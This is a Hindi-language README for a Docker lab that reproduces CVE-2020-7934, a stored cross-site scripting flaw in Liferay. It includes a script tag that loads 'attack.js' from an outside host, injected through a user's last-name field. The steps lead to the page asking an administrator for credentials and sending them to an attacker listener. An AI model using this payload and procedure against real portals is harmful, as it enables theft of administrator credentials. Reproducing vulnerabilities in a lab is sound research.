CVE 2020-7934

CVE कैसे चलाएं

आवश्यकताएँ

1. docker

टिप्पणियाँ

हमले की स्क्रिप्ट को ऑनलाइन रखना संभव है (js कोड दिया गया है) http://yourjavascript.com/ हमारी Js स्क्रिप्ट हमले के लिए ऑनलाइन html <script src="http://yourjavascript.com/920172199111/attack.js"></script>

कॉन्फ़िगरेशन के लिए कमांड

1. इस प्रोजेक्ट की रूट फ़ोल्डर में जाएं
2. "sudo docker-compose up --build" चलाएं
3. नया टर्मिनल: "docker inspect liferay" चलाएं ==> और IPAddress मान कॉपी करें
4. नया टर्मिनल: "python api_attacker.py" चलाएं
5. ब्राउज़र खोलें और "http://IPAddress:8080" पर जाएं ==> आपको liferay पोर्टल प्रतिक्रिया के रूप में मिलना चाहिए
6. कंटेनर रोकने और हटाने के लिए "sudo docker-compose rm" का उपयोग करें

हमले के निर्देश

1. liferay में एक उपयोगकर्ता के रूप में पंजीकरण करें, लॉग इन करें, और "उपलब्ध साइट्स" अनुभाग में, "liferay" साइट में शामिल हों।
2. JS स्क्रिप्ट में "अंतिम नाम" बदलें (सीधे () या "src =" http ... "" के माध्यम से)
3. liferay व्यवस्थापक के रूप में लॉग इन करें (उपयोगकर्ता नाम: [email protected], पासवर्ड: test)
4. उपलब्ध साइट्स पर जाएं और "liferay" पर क्लिक करें, इस साइट का सार्वजनिक पृष्ठ खुल जाएगा।
5. नए पृष्ठ पर जाएं, दाईं ओर एक मेनू खुलेगा, सदस्यता पर क्लिक करें।
6. चरण 1 में पंजीकृत उपयोगकर्ता का चयन करें। उस समय स्क्रिप्ट निष्पादित हो जाएगी। 5.1) स्क्रिप्ट attack.js में पृष्ठ क्रेडेंशियल्स मांगेगा।
7. चरण 5 (कॉन्फ़िगरेशन के कमांड का) के टर्मिनल में 5.1 में डाले गए उपयोगकर्ता नाम/पासवर्ड मुद्रित होंगे (व्यवस्थापक द्वारा)